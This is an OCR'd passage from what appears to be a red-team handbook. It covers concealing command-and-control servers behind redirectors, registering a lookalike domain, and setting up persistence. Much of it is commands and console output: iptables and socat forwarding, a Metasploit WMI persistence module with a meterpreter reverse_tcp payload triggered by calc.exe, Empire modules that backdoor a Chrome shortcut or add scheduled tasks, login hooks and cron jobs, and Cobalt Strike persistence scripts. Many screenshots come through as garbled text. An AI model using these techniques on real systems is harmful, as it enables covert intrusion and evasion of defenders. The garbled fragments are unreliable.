[ 3 b Y 3 it h 4 i: sHED

[ 3 it 44 d.1%1.14 44 i: 1 |

(1]

Sl

[ 3 it 4744 i {4 = B Y “uii E" |

s 1]

WL

[ 3 it 1394 Hi K i H I

F d

i A4 ;

1 A 5

Bingo! The connection table doesn't have our C2 IP and neither does the Blue
team. Now the redirector is working perfectly, what could be the issue with this
C2-redirector setup?

Let's perform a port scan on the C2 to check the available open ports:

Starting Mmap 7
M an

STATE SERWII
p open http-

e: 1 IP ade
Xx:0c

As we can see from the preceding screenshot, port sese/tcp is open on our C2. This



means that anyone can try to connect to our listener in order to confirm its
existence. To avoid situations like this, we should configure our C2 in such a
way that allows us to protect it from outside reconnaissance (recon) and attacks.



Obfuscating C2 securely

To put it in a diagrammatic format, our current C2 configuration is this:

Windows meterpreter reverse_tcp on port 8080/tcp
listening for incoming connection from the Redirector
s

Forwards the connection from
the target to our C2

Redirector Cc2
Accessible to everyone

If someone tries to connect to our C2 server, they will be able to detect that our
C2 server is running a Meterpreter handler on port sese/tcp:

Windows meterpreter reverse_tcp on port 8080/tcp
listening for incoming connection from the Redirector

Forwards the connection from
the target to our C2
Connects to port 8080/tcp
on our C2 directly and
Redirector c2 detects meterpreter listener

Accessible to everyone

=

Internet Scanners/ AV
scanners / Blue Team

To protect our C2 server from outside scanning and recon, let's set the following
Uncomplicated Firewall (UFW) ruleset so that only our redirector can connect
to our C2. To begin, execute the following UFW commands to add firewall rules
for C2: sudo ufw allow 22

sudo ufw allow 55553

sudo ufw allow from 35.153.183.204 to any port 8080 proto tcp

sudo ufw allow out to 35.153.183.204 port 8080 proto tcp

sudo ufw deny out to any



The given commands needs to be executed and the result is shown in the
following screenshot:

. R adTec % sudo ufw stotus
sudo: unable to resolve host RedTeamCZ: Connection refused
Status: active

Action From

ALLOW
ALLOW
ALLOW
ALLOW Anywhere |

ALLOW OUT Arywherea
DEMY 0OUT :
DEMY 0OUT

In addition, execute the following ufw commands to add firewall rules for
redirector as well: sudo ufw allow 22
sudo ufw allow 8080

The given commands needs to be executed and the result is shown in the
following screenshot:



4 =sudo ufw status
sudo: unable to resolwe host Redirector
Status: actlwe

From

ALLOW Anywhere
ALLOW Anywhere
ALLOW ANy
ALLOW

Once the ruleset is in place, this can be described as follows:

—— .

allows 22/tcp, Forwards the connection : :
8080/tcp from the target to our C2 allows 55553 /tcp from i outgmn-g

conhnection to Redirector

anywhere (Armitage) e :
i T 8080/tcp from C2

Target connects back

L allows 22/tcp from
to the redirector on

hind Rethrectior anywhere (SSH) deny all other outgoing
8080/tcp connections
. Cc2
x Windows meterpreter reverse_tcp on port 8080/tcp

listening for incoming connection from the Redirector
Target
Netstat result shows that the
system is connected to our
Redirector

If we try to perform a port scan on the C2 now, the ports will be shown as
filtered: as shown below.



Dﬂmnluﬂl Hﬂ[[ $
1 3xix:Downloads Harry$
omb13xXx:Downloads Harry$ rmap 54.166.109.171 -p

Starting Nmap (.60 ( https://mmap.org ) ot 2018-09-23 14:32 IST
Nmap scan report for ec/-54-166-109-171. compute-] aws.com (54.100.109,171)
Host 15 up.

STATE  SERVICE
/tep filtered http-proxy

1 1 IP address (1 host up) scanned in 3.52 seconds
Downloads HDPPF$

Furthermore, our C2 is only accessible from our redirector now. Let's also
confirm this by doing a port scan on our C2 from redirector server:

4

ffrp open hffp p[n y

Mmap done: 1 IP address (1 host up) scanned 1n 6.04 seconds
buntubRedirector: -4

There are different kinds of redirectors that we can use according to our needs in
the red team engagement.



Short-term and long-term redirectors

Short-term (ST)—also called short haul—C2 are those C2 servers on which the
beaconing process will continue. Whenever a system in the targeted organization
executes our payload, the server will connect with the ST-C2 server. The payload
will periodically poll for tasks from our C2 server, meaning that the target will
call back to the ST-C2 server every few seconds. The redirector placed in front
of our ST-C2 server is called the short-term (ST) redirector. This is
responsible for handling ST-C2 server connections on which the ST-C2 will be
used for executing commands on the target server in real time. ST and LT
redirectors would get caught easily during the course of engagement because
they're placed at the front.

Long-term (LT)—also known as long-haul—C?2 server are where the callbacks
received from the target server will be after every few hours or days. The
redirector placed in front of our LT-C2 server is called a long-term (LT)
redirector. This redirector is used to maintain access for a longer period of time
than ST redirectors. When performing persistence via the ST-C2 server, we
need to provide the domain of our LT redirector so that the persistence module
running on the target server will connect back to the LT redirector instead of the
ST redirector.

A segregated red team infrastructure setup would look something like this:



Redirector server - 1

Short Term HTTP C2
(attacker-domainl.com)

Long Term DNS/HTTP C2
(attacker-domain2.com)

Internet

Redirector server - 3

Phishing server
(attacker-domain3.com)

Source: https://payatu.com/wp-content/uploads/2018/08/redteam_infra.png

Once we have a proper red team infrastructure setup, we can focus on the kind of
redirection we want to have in our ST and LT redirectors.



Redirection methods

There are two ways in which we can perform redirection:

e Dumb pipe redirection
e Filtration/smart redirection



Dumb pipe redirection

The dumb pipe redirectors blindly forward the network traffic from the target
server to our C2, or vice-versa. This type of redirector is useful for quick
configuration and setup, but they lack a level of control over the incoming
traffic. Dumb pipe redirection will obfuscate (hide) the real IP of our C2, but
won't it distract the defenders of the organization from investigating our setup.
We can perform dumb pipe redirection using socat or iptables. In both cases, the
network traffic will be redirected either to our ST-C2 server or LT-C2 server.

Victim Dumb Redirector Server C2 Server
(attacker-domainl.com)

Source: https://payatu.com/wp-content/uploads/2018/08/dumb_pipe_redirection123.png Let's execute the command given in the
following image in order to configure a dumb pipe redirector which would redirect to our C2 on port 8ese/tcp:
- " 1]

4

ork TCP4:54, 16k

Following are the commands that we can execute to perform dumb pipe redirection using iptables: iptables -I INPUT -p tcp -m tcp --
dport 8080 -j ACCEPT

iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 54.166.109.171:8080

iptables -t nat -A POSTROUTING -j MASQUERADE

iptables -I FORWARD -j ACCEPT

iptables -P FORWARD ACCEPT

sysctl net.ipv4.ip_forward=1

The given commands needs to be executed and the result is shown in the following screenshot:

-I INPUT -p tcp -m tep ——dpor -J ACCEPT
o: unable to r edire
iptables -t A& PREROUTING -p tcp --dpor
o: unable to r edire
: iptables -t -A POSTROUTING -3 MASOUERADE
o: unable to r Re

o: unable to




(Ignore the sudo error here. This has occurred because of the hostname that we changed) Using socat or iptables, the result would be
same i.e. the network traffic on the redirector's interface will be forwarded to our C2.



Filtration/smart redirection

Filtration redirection, also known as smart redirection, doesn't just blindly
forward the network traffic to the C2. Smart redirection will always process the
network traffic based on the rules defined by the red team before forwarding it to
the C2. In a smart redirection, if the C2 traffic is invalid, the network traffic will
either be forwarded to a legitimate website or it would just drop the packets.
Only if the network traffic is for our C2 will the redirection work accordingly:

S
i
W\,

()

C2 Senver

@

Victim Dumb Redirector Server
(attacker-domain.com)

Legit site
(login.microsoftonline.com)

To configure a smart redirection, we need to install a web service and configure
it. Let's install Apache server on the redirector using the sudo apt install apache2
command:



B kE]

~lbuildl [
4

g packc

We need to execute the following commands as well in order to enable Apache
modules to be rewritten, and also to enable SSL: sudo apt-get install apache2
sudo a2enmod ssl rewrite proxy proxy_http

sudo a2ensite default-ssl.conf

sudo service apache2 restart

These are all commands that needs to be executed. The result of the executed
commands are shown in the following screenshot:

ttp

all rewrite p or

nfigure

l¢
_http.
Figuration, u b run:

Enabl in
To actiwe ul: Y b run:

art

We also need to configure the Apache from its configuration:



¥ nano /etc/apacheZ/opacheZ.conf

We need to look for the pirectory directive in order to change the aiiowoverride
from none to a11 so that we can use our custom .htaccess file for web request
filtration.

<Directory Avar
- FﬂllmwiymLiﬂkz
Mone
Fequire all graonted
</Directory:

We can now set up the virtual host setting and add this to wwwpacktpub. tk
(/etc/apacheZ/sites-enabled/default-ssl.conf)Z

.., trocel, debug, info, notice, warn,

el for particular

0g combined

After this, we can generate the payload with a domain such as wwwpacktpub. tk in
order to get a connection.



Domain fronting

ACCOFdng tO https://resources.infosecinstitute.com/domain-fronting/: Domain fFOHtiDg
is a technique that is designed to circumvent the censorship employed for certain
domains (censorship may occur for domains that are not in line with a company's
policies, or they may be a result of the bad reputation of a domain). Domain
fronting works at the HTTPS layer and uses different domain names at different
layers of the request (more on this later). To the censors, it looks like the
communication is happening between the client and a permitted domain.
However, in reality, communication might be happening between the client and a
blocked domain.

To make a start with domain fronting, we need to get a domain that is similar to
our target organization. To check for domains, we can use the domainhunter tool.

/domainhunter

We need to install some required Python packages before continuing further.
This can be achieved by EXECUﬁDg the pip install -r requirements.txt command as
follows:


https://resources.infosecinstitute.com/domain-fronting/)

done

After installation, we can run the tool by EXECUﬁDg the python domainhunter.py
command as follows:

are not liable for an ct orm ; =t orme y of s tool.
t for illegal purpc

ain list from http

By default, this will fetch for the expired and deleted domains that have a blank
name because we didn't provide one:



Downloading malware domain list from http:A/mirrorl.malwaredomains . comsTiless justdomains

Fetching expired or deleted domoins...

https: A Awmw.expireddomains.net/backorder-expired-domaines 7s tart=0&4 T tl d= [J=2&Ttl da []=28Tt1 ds[J=4&Tal exa=0
https:AAwmw.expireddomains.net/deleted-com-domains /7s tart=081Ttl ds []=28Ttl ds[J=3&Ttl d=[]=4&Tal exa=0
https: A expireddomains.net/backorder-expired-domaine 7s tart=2580tl de [ ]=28 1t ds[] =24 T tl ds[]=4&Tal exa=0
https:AAwmw.explreddomains.net/deleted-com-domains/7s tart=2581tl da [ ] =8 tl ds[]=38Ttl dz [ ] =Tl exa=0

188 of 18@ domoins discowvered with o potentially desirecble cotegorizotion!

Search complete
Log written to ZB18A973_X177@3_domoinreport.html

A G B
Domain

e

—————————— e
BlueCoat | | Cisco Talos |

yingjimeiye.com

—+ —+ —+ —+ —+ —F
—+ —+ —+ —+ —+ — F
—+ —+ —+ =+ —+ —F

wirendiangi . com

Let's check for the ne1p option to see how we can use domainhunter:

xXxZombi3xXx:domainhunter Harry$ python domainhunter.py -h

usage: domainhunter.py [-h] [-a] [-k KEYWORD] [-c] [-f FILEWAME] [--ocr]
[-r MAXRESULTS] [-s SINGLE] [-t {@,1,2,3,4,5}]
[-w MAXWIDTH] [-V]

Finds expired domains, domain categorization, and Archiwve.org history to determine good candidates for C2 and phishing domains

optional arguments:

-h, --help show this help message and exit

-a, --aleaxa Filter results to Alexa listings

-k KEYWORD, --keyword KEYWORD
Keyword used to refine search results

-c, --check Perform domain reputation checks

—-f FILEMAME, --filename FILEMAME
Specify input file of line delimited domain names to
check

--ocr Perform OCR on CAPTCHAs when challenged

—-r MAXRESULTS, --maxresul ts MAXRESULTS
Mumber of results to return when querying latest
expired/deleted domains

-5 SIMGLE, --single SINGLE
Performs detniled reputation checks against a single
domain name/TP.

-t {8,1,2,3,4,5}, --timing {9,1,2,3,4,5}
Modifies request timing to avoid CAPTCHAs. Slowest{@)
= 90-1720 seconds, Defoul t(2) = 10-20 seconds,
Fastest(5) = no delay

-t MAKWIDTH, --mo=width MAXWIDTH
Width of text table

=W, —-wersion show program's wversion number and exit

Examples:

Adomatnhunter.py -k apples -c --ocr -t5

Sdomainhunter.py --check --ocr -t3

Sdomainhunter.py --single mydomain. com

.Adomainhunter.py --keyword tech --check --ocr ——timing 5 --dlexa
Adomathunter.py --filename tnputlist.txt --ocr —-timing 5
#XxZombi3xXx:domainhunter Harry$

Let's search for a keyword to look for the domains related to the specified
keyword. In this case, we will use packtpub as the desired keyword:




educational pur
1 to promote education and t ) ) er/cyb
t liagbl m m Yy f this tool.

We just found out that wwwpacktpub.com is available. Let's confirm its availability at
domain searching websites as follows:

https: nain/s /wwwpacktpub.ce - : ® =
& C & https://www.name.com/domain/search/wwwpacktpub.c g o a @ T 7 B a

name com onton - IJCTIERETY tosn- Sontnd

¢) Domains ~ (3 Hosting& SSL - ] Websites - [<] Email (3 Support - ([ Account

wwwpacktpub.com Search

Bulk Domain Search »

SALE!

wwwpacktpub.com 3649.44

dive N T ; .org .app .pro ' .store
2360.48 .9 ?938.40 ?1,227.36 T216.00 7216.00




This confirms that the domain is available on name.com and even on dot.tk for
almost $8.50:

— C @ NotSecure | www.dot.tk/en/index.htmi?lang=en b ¢ o =] ‘@ ? b e :

English

Login to My Freenom

Yes wwwpacktpub.com is available! 1domainin cart

wwwpacktpub uUsD 8:}8

.com

Let's see if we can find a free domain with a different TLD:

& C @ NotSecure | www.dot.tk/en/index.htmi?lang=en -4 o S ‘@ (2]
Get one of these domains, They are free!
wwwpacktpub
tkD : usb 000 Select
~vwwpacktpub
) 4 o usD 000 Select
.ml ¢
wwwpacktpub
? 4 usb 000 Select
.8a .
wwwpacktpub
usD 000 Select
cf :
wwwpacktpub
; . usb 000 Select
29

We have found that the preceding-mentioned domains are free to register. Let's
select wwwpacktpub.tk as follows:



Get one of these domains. They are free!

wwwpacktpub

il - rree e 0

wwwpacktpub

ml [« FREE [ilad 0 4 Select

wwwpacktpub

ga (+ FREE | usb ()oo Select

wwwpacktpub

: Cf [+ FREE | uspb ()00 Select

wwwpacktpub

£4 m usb 090 Select

We can again check the availability of www.packtpub.tk and obtain this domain for
free:

&€ > C a freenom.com/cart.php?a= ins&language=english W o GO GT B O

fm‘om Services v Partners ~¥ About Freenom v Support v English ~

A Name for Everyone

. . Check
Find a new FREE domain Availability
Domain @ Use your new domain Period
Wwwpacktpub.tk @  Forwardthisdomain ~ or I Use DNS 3Months @ FREE  ~

In the preceding setting, we need to set our redirector's IP address in the Use
DNS field:



Domain @IDSHELD | @  Use your new domain Period

wwwpacktpub.tk @  Forward thisdomain |~ or w 3 Months @ FREE .

Use Freenom DNS Service Use your own DNS
Enter your A record here

Hostname wwwpacktpub.tk IP address 35.153.183.204

Hostname www.wwwpackipub.tk IP address 35.153.183.204)

Continue

Let's review the purchase and then check out:

freenom

A Name for Everyone

Review & Checkout

Description Price
Domain Registration - wwwpacktpub.tk @ $0.00UsSD
Subtotal: $0.00USD
Total Due Today: $0.00USD

Verification link Sent to Your Email The Link Is Valid For Only 24 Hours Go to Your Email Index and Click On The Link

Enter Different Email

Our order has now been confirmed. We just obtained wwwpacktpub. tk:



Your Order Number is: 7909555460

Let's execute the dig command to confirm our ownership of this:
5 $ dig WwwpﬂcktpUh.tk

~u 16 9,10, 3-Pd-Ubunty <<= wwwpuchtpuh.th
bal options: +cmd

=AU - ﬁpfﬁdH ||||E|'_"|.l stotus: IJDEHHDH, id:
i Tlnﬂ_ gr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: ¢

=+ OPT PSEU IDH' ECTION:

: EDNS: on: @, flags:; udp: 409
3 OUE CTIC

SNt O C k 1'[_IIJLI ‘H

ANSWER SECTION:
”.uELtpub.tL.

£ ||IJ'-'r"' time: &

The dig command resolves wwwpacktpub.tk to our redirector's IP. Now that we have



obtained this, we can set the domain in the stager creation and get the back
connection from wwwpacktpub. tk:

35.153.183.284

192.168.2.5
PT-PC\PT @ PT-PC

Domain fronting can also be done using Cloudflare and other cloud network
platforms. In the next chapter, we focus on different techniques in exfiltrating
data from a target server.



Summary

In this chapter, we have introduced redirectors and why obfuscating C2s is
required. We have also covered how we can obfuscate C2s in a secure manner so
that we can protect our C2s from getting detected by the Blue team. In addition,
we have learned about short-term and long-term C2s and redirectors. Next, the
payload redirection type was covered. Here, we learned about dumb pipe
redirection and smart redirection. At the end of the chapter, we saw how we
obtained a domain which resembles nttp://packtpub.con and how this can be used
to achieve further anonymity.


http://packtpub.com

Questions

1. Can we use Microsoft Windows based redirector instead of Linux based?

2. Why should we configure and install our own redirector when we can use a
compromised server for the same job?

3. Is it mandatory to use Apache Web server for smart redirection?

4. Is it legal if we buy a domain similar to organization's domain for the
engagement ?

5. Can we setup the redirectors on AWS?



Further reading

For more information on the topics discussed in this chapter, please visit the
following links:

https
https
https
https
https
https
https
ver/

https

https:

1

://thevivi.net/2017/11/03/securing-your-empire-c2-with-apache-mod_rewrite/
://resources.infosecinstitute.com/domain-fronting/
://bluescreenofjeff.com/2018-04-12-https-payload-and-c2-redirectors/
://www.xorrior.com/Empire-Domain-Fronting/
://www.optiv.com/blog/escape-and-evasion-egressing-restricted-networks
://www.mdsec.co.uk/2017/02/tor-fronting-utilising-hidden-services-for-privacy/

://www.securityartwork.es/2017/01/31/simple-domain-fronting-poc-with-gae-c2-ser

://www.mdsec.co.uk/2017/02/domain-fronting-via-cloudfront-alternate-domains/

//theobsidiantower.com/2017/07/24/d0a7cfceedc42bdf3a3612926bd52863ef28befc.htm


https://thevivi.net/2017/11/03/securing-your-empire-c2-with-apache-mod_rewrite/
https://resources.infosecinstitute.com/domain-fronting/
https://bluescreenofjeff.com/2018-04-12-https-payload-and-c2-redirectors/
https://www.xorrior.com/Empire-Domain-Fronting/
https://www.optiv.com/blog/escape-and-evasion-egressing-restricted-networks
https://www.mdsec.co.uk/2017/02/tor-fronting-utilising-hidden-services-for-privacy/
https://www.securityartwork.es/2017/01/31/simple-domain-fronting-poc-with-gae-c2-server/
https://www.mdsec.co.uk/2017/02/domain-fronting-via-cloudfront-alternate-domains/
https://theobsidiantower.com/2017/07/24/d0a7cfceedc42bdf3a36f2926bd52863ef28befc.html

Achieving Persistence

In the previous chapters, we have looked at examples of different ways to gain a
reverse shell on the system, as well as tools such as Empire, which help us with
things like privilege escalation. The next step is achieving and maintaining
persistent access to systems. When performing a red-team exercise, there is
occasionally a Blue team whose goal is to detect and prevent the attacks from
being carried out by the red team. In these cases, persistence comes into play.

Persistence can be achieved in two major ways:

e Disk persistence: This technique uses methods that end up writing files to
the victim's physical drive. This is less recommended because when a file is
written to the disk, there is a higher chance that an antivirus may flag it or
the user may find it.

¢ In-memory or fileless persistence: This technique utilizes ways of
executing payloads in the system without actually writing anything on the
disk. Most malware uses this technique to avoid detection.

In this chapter, we will cover the following topics:

e Persistence via Armitage
e Persistence via Empire
e Persistence using Cobalt Strike



Technical requirements

Metasploit Framework (MSF)
PGSQL (Postgres)

Oracle Java 1.7 or above
Cobalt Strike

Empire

Armitage



Persistence via Armitage

We have already covered this in previous chapters, but in this section we will
look at some of the Windows exploitation scripts that allow us to achieve
persistence on the victim host. We can look for all available exploits by
searching for the keyword persistence in Armitage, as shown in the following
screenshot. We can see that there are different exploits available that allow us to
achieve persistence. Some of these are as follows:

® cron_persistence: This module will work on a *nix-based system and create a
cron job that executes our payload.

® Registery_persistence: This module creates a payload that is run either when a
user logs on or on system startup, through the registry value in
currentversion\Run (depending on privilege). This payload is completely
installed in the registry.

® vss_persistence: This module creates a persistent payload in a new volume
shadow copy.

® wni_persistence: This module will create a WMI event subscription. It is a file
-less persistence.



¥ (& exploit A
¥ (& linux M |
¥ (& local '
E| cron_persistence
E| service_persistence
¥ [E 05X
¥ (&5 local
E| persistence
¥ [E Lnix
¥ (& local
E| at_persistence I
¥ (@ windows
¥ (& local
E| persistence
E| registry_persistence
E| s4uU_persistence

VS5_persistence
E| Wmi_persistence
¥ post
= g

[E linwx ¥

persistence

F .

Let's try using wmi_persistence. This uses one of the following five methods for
persistence:

e EVENT method: This creates an event filter that will query the event log
for an event_1o_trrceer (the default failed logon request ID is usually 4625) to
trigger the payload

e INTERVAL method: This will create an event filter that executes the
payload after caLieack_1ntervat, which is specified

e LOGON method: In this method, the payload is executed after a successful
uptime of four minutes

¢ Process method: This will create an event filter that triggers the payload
when the specified process is started



e WAITFOR method: This creates an event filter that utilizes the Microsoft

binary waitfor.exe to wait for a signal specified by wartror_tr1ceer before
executing the payload

When we double-click on the wni_persistence option, it will open a new window,
as shown in the following screenshot:

| EON ] windows/local/wmi_persistence

WMI Event Subscription Persistence

This module will create a permanent WMI event subscription to achieve file-less A
persistence using one of five methods. The EVENT method will create an event filter
that will query the event log for an EVENT _ID_TRICGER (default: failed logon request

| id ARTEY fh-ﬂr alrm Fantsine = rnnrl'ﬁn-ﬂl ||EE|JM|'L||.IE TDOW FED fnn‘l‘n "'-"I.Ilﬂll“ L

| Option i|‘».|'alue |
CALLBACK_INTERVAL 1800000 A|
CLASSNAME UPDATER

|| DisablePayloadHandler true

[| EVENT_ID_TRIGGER 4625

| ExitOnSession false

(| LHOST 207.154.199.85 v

Targets: |0 => Windows _vJ

| | Show advanced options

| Launch |

Here, we change the persistence method to process. This will use the process
trigger method since the process_trigger we are using is caLc.exe. Whenever a
calculator is opened on the system, we will get a reverse connection on our
Armitage server as follows:



| NN | windows/local/wmi_persistence

WMI Event Subscription Persistence

This module will create a permanent WMI event subscription to achieve file-less persistence &
using one of five methods. The EVENT method will create an event filter that will query the

event log for an EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a i
rancifind IIECOKMARIE TOW T ED fmata- Failad laasn suaditina maact ha amahlad s tha tarant fare
Option 4| Value |
DisableFayloadHandler true Fi
EVENT_ID_TRIGGER 4625

ExitOnSession false L
LHOST 207.154.199.85

LPORT BO8O

PAYLOAD + windows/meterpreter/reverse_tcp
PERSISTENCE_METHOD PROCESS

PROCESS_TRIGGER 4| C.EXE [
SESSION + 2 {
 USERNAME TRIGGER BOB *

Targets: |0 => Windows i"’]

|| Show advanced options

Launch

ke

By clicking on launch, we will see that the exploit has been executed
successfully:




nsf explott| ) » set USERNANE TRIGEER B0B
USERNAYE_TRIGGER => BOB

nst explott| ) » set EVENT_ID TRIGEER 4625
EVENT 10 TRIGGER => 4625

nst explott| | » set WALTFOR_TRIGGER CALL
WALTFOR TRIGGER => CALL

nsf explott| ) > set CALLBACK.INTERVAL 1800000
CALLBACK_INTERVAL => 160000

nst explott| ) » set Disableayloadhandler true
DusablePaytoadhandler => true

nst explott| | » eiploit |

[¢] Explott running as background job 5,

[¢] Installing Persistence. .,

[#] = Bytes reaining: 12208

[#] = Bytes reaining: 4208

[#] Payload successfully staged

[+] Persistence Installed

[¢] Clean up Neterpreter RC file: /root/.nsf4/logs/uma_persistence/192, 168,0.%6 20160921, 1617/192,168,0.%6 20180821, 1617.rc

When the victim runs the Calculator, a new meterpreter shell will pop up as
follows:



| Address ¥ | Label | Description
dfx-PC\dfx @ DFX-PC
Meterpreter 2 >
Meterpreter 3 >
Services

Scan

Host >




Persistence via Empire

Empire has a lot of inbuilt modules that allow us to use persistence on a system
while performing a red team activity. These modules are divided into four main
areas:

® powersreach: This is a series of in-memory PowerShell backdoors that provide
triggers for various options

e userland: These are backdoors that execute on reboot without needing admin
rights

® clevated: These are backdoors that execute on reboot with admin rights

® debugger triggers: These are backdoors that execute on a particular trigger (an
example of this is sticky keys)

In this section, we will cover some of the modules for Linux, Windows, and
macOS systems.

For Windows:

Assuming we have an agent connected on our empire from a Windows Machine:



(Empire; stager/multi/launcher) > [«] Sending PONERSHELL stager (stage 1) t0 wev.ve.se.
%] New agent KETD4WPL checked in

(4] Initial agent KETDAWPL from now active (Slack)

%] Sending agent (stage 2) to KETOAWPL &t sszive:ze.cos

agents

[¥] Active agents:

Name  La Internal IP  Machine Name Username Process

KETDAWPL ps 192.168.0.9%  DFX-PC #dfx-PC\dfx powershell 20 5/0.0

To view a list of available persistence modules, we interact with agents using the
interact <agent name> command.

Next, to view the available persistence module, we type usemodule persistence and
press Tab. This will show a list of all available modules, as shown in the
following screenshot:

|(Empire: ) > usemodule persistence/

elevated/reglstrys misc/debuggers powerbreach/deaduser
elevated/schtaskss misc/disable_machine_acct_changex powerbreach/eventlogs
elevated/wnix misc/get_ssps powerbreach/resolver

elevated/wnl_updaters misc/install_sspx userland/backdoor_(nk
nisc/add_netuser Misc/menssps userland/registry
nisc/add_sid_historyx misc/skeleton_keys userland/schtasks

Let's try to use the backdoor_1nk module by typing info. This will show us a
description of what the module does and the options we need to set in it:



[(Empire:

Name: Invoke-BackdoorLNK
Module: powershell/persistence/userland/backdoor_Lnk
NeedsAdmin: False
Opsec5afe: False
Language: powershell
MinLanguageVersion: 2
Background: True

OutputExtension: None

Authors:
@harmj@y

Description:
Backdoor a specified .LNK file with a version that launches
the original binary and then an Empire stager.

In the following screenshot, we can see that we need to set the listener name and
the path file of any shortcut icon on the victim's system:



Options:

Name Required al Description

Listener True Listener to use.

ProxyCreds False default Proxy credentials
([domain\]username:password) to use for
request (default, none, or other).

Cleanup  False Switch. Restore the original .LNK
settings.

RegPath  True HKCU:\Software\Microsoft Registry location to store the script

\Windows\debug code. Last element 1s the key name.

Proxy False default Proxy to use for request (default, none,
or other).

ExtFile  False Use an external file for the payload
instead of a stager.

UserAgent False default User-agent string to use for the staging
request (default, none, or other).

Agent True KETD4WPL Agent to run module on.

LNKPath  True Full path to the .LNK to backdoor.

We set the path as shown in the following screenshot. In our case, the user had a
shortcut icon of Google Chrome on his desktop:

UserAgent False default User-agent string to use for the staging
request (default, none, or other),

Agent  True KETDAWPL Agent to run module on,
|(Empire: powershell/persistence/userland/backdoor nk) > set LNKPath C:\Users\dfx\Desktop\Google Chrome. lnk

Upon running the execute command, we will see that the module has completed
successfully:



(Empire: powe
Job started: H2Y7A8

Let's try to understand what the module actually did. On the victim's computer, if
we see the shortcut icon's properties, we can see that it has changed the target
value with a PowerShell payload. Now, whenever the victim opens Chrome from
this shortcut, our payload will be executed alongside it:



ﬂ- Google Chrome Properties @

Compatibility | Security Details Previous Versions
General Shortcut Options Forit Layout Colors

g Google Chrome

Target type: Application

Target location: v1.0

Target: C\Windows" System 32 Windows PowerShblw 1 |

Start in: t:\Llsers"xde\.Pq:p Data*Local"Google \Chrome'A¢

Shartcut key: .Nune

Run: | Minimized b4 |

Comment : Access the Intemet
Open File Location | | Change lcon... | | Advanced... |
OK Cancel Apply

Once the user runs Chrome, we will see a new agent connected to our Empire:



Empire: pow

Let's take a look at another elevated/schtasks module. This requires system-level
privileges and creates a scheduled task to run our payload periodically, as
described with the info command as shown in the following command:



|(Empire: powe

Name: Invoke-5chtasks
Module: powershell/persistence/elevated/schtasks

NeedsAdmin: True

OpsecSafe: False

Language: powershell

MinLanguageVersion: 2
Background: False
QutputExtension: None

Authors:
@mattifestation

@harmj @y

Description:

Persist a stager (or script) using schtasks running as
SYSTEM. This has a moderate detection/removal rating.

Comments:
https://github.com/mattifestation/PowerSploit/blob/master/Pe
rsistence/Persistence.psml

We set the listener name and the time when we want to run the task, and run
execute. Our payload will then be executed at that time daily:



(Empire: p persister ated/schtasks) > execute

(Empire: po |1/persi pvate fis jent K

SUCCESS: The scheduled task "Updater" has successfully been created.

Schtasks persistence established using Listener http stored in HKLM:\Software\Microsoft\Network\debug
with Updater daily trigger at 09:00.

For macOS:

Just as we did for Windows, we have persistence modules for macOS as well. As
shown in the following screenshot, we already have a macOS agent connected:
ONZRZ7YG py 192.168.0.50 MacBook-Air.Dlink Himanshu

(Empire: agents) > interact QNZRZ7YG

We run the usemodule persistence command and press Tab to see all available
modules:

(Empire: > usemodule persistence/
multi/crontab osx/RemoveDaemaon osx¥/mail

multi/desktopfile osx/launchdaemonexecutab lex
osx/CreateHijackers osx/loginhook

Let's use the osx/10ginhook command as follows:



Name: LoginHook
Module: python/persistence/osx/loginhook
NeedsAdmin: False
OpsecSafe: False
Language: python
MinLanguageVersion: 2.6

Background: False
QutputExtension: None

Authors:
@Killswitch-GUI

Description:
Installs Empire agent via LoginHook.

A login hook tells macOS X to execute a certain script when a user logs in.
Unlike startup items that open when a user logs in, a login hook is a script that
executes as root. However, for this module, we need to create a script in the
victim's machine and specify its path in this module.

The script also requires the sudo password; we have discussed ways of getting
this in previous chapters. Once we have it, we enter the data in the script and
execute it as follows:



Opt1ons:

Name Required  Valug Description

Password True User password for sudo.

LoginHookScript True [Users/Harry/Desktop/hel Full path of the script to be executed/
(0.5h

Agent True 536NA3S3 Agent to execute module on,

Every time a user logs in to the system, we will get a new agent connection
notification on our Empire interface, as shown in the following command:

(Empire:

For Linux:

Linux has the crontab module, which can be used. This creates a cron job that
executes our payload at a defined time on the system:
[(Empire: ) > usemodule persistence/multi/crontab

(Empire: python/persistenc ilti/crontab) > E
As shown in the following screenshot, we set the nourly option as true. This will
execute our payload every hour:

[(Empire: python/persistence/multi/« tab) > set Hourly True

Then, we set the rilenane Where our payload will be stored and run the execute
command, which will set our persistence script as follows:



[(Empire: ) » set FileName a

[(Empire: ) = execute

We will then start having agents connect to us from that machine every hour.



Persistence via Cobalt Strike

In Cobalt Strike, we can achieve persistence with the help of Aggressor Scripts.
We have already learned about Aggressor Scripts in previous chapters.

Some of the Aggressor Scripts are already available on GitHub; we will use the
following one:

https://github.com/harleyQuinn/AggressorScripts/tree/master/Persistence


https://github.com/harleyQu1nn/AggressorScripts/tree/master/Persistence
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Here, we download the scripts on our system and import them into our Cobalt
Strike client through the script manager, as shown in the following screenshot:

® @ Load a script
Look In: II’_l Persistence 'l P RE
" | Bitsadmin.cna [} WMIEventPersist.cna -

D HKCURunKeyPSRegistryPersist.cna
" | HKLMRunKeyPSRegistryPersist.cna
[ README.md
[} RegistryPersist.cna
[} ServiceEXEPersist.cna
[ StartUpFolderPersist.cna
[ StartupGPOPersist.cna
[} UserSchtasksPersist.cna
[} WMICEventPersist.cna

File Name: [F'erﬁistence_Menu.-::na

|

Files of Type: |All Files

i |

|Dpen ||Carme||

In the preceding screenshot, we loaded persistence_menu. This script creates a new
entry in the Beacon menu with all the scripts we downloaded. These scripts can

be accessed by right-clicking on the host | Red Team | Persistence, as shown in

the following screenshot:



dfx DFX-PC

Interact

Red Tea Schtasks Persistence

Access Service EXE Persistence

Explore Registry Persistence

Pivoting HKCU Run Key Registry PowerShell Persistence
Spawn HKLM Run Key Registry PowerShell Persistence
sgssion ! WMI Event Persistence using PowerShell

WMI Event Persistence using WMIC

Startup Script Local GPO Persistence

Stickykeys(OSK) BackDoor Persistence (Need RDP Open)
Windows Startup Persistence

Let's look at the following example. Here, we will use HKCU Run Registry
PowerShell Persistence (User Level).

This script creates a registry keyname for the payload and another keyname to
execute the payload. Clicking on this option will cause a new window to open
where we can specify the name of both values, as shown in the following
screenshot:

@ O @ HKCU Run Key Registry PowerShell Persistence (User Level)

PIPLl MUl VS MUSLII0 § F WS 2 RSl TS D0 LS~ WS o) O USD O AUy sl 20 s

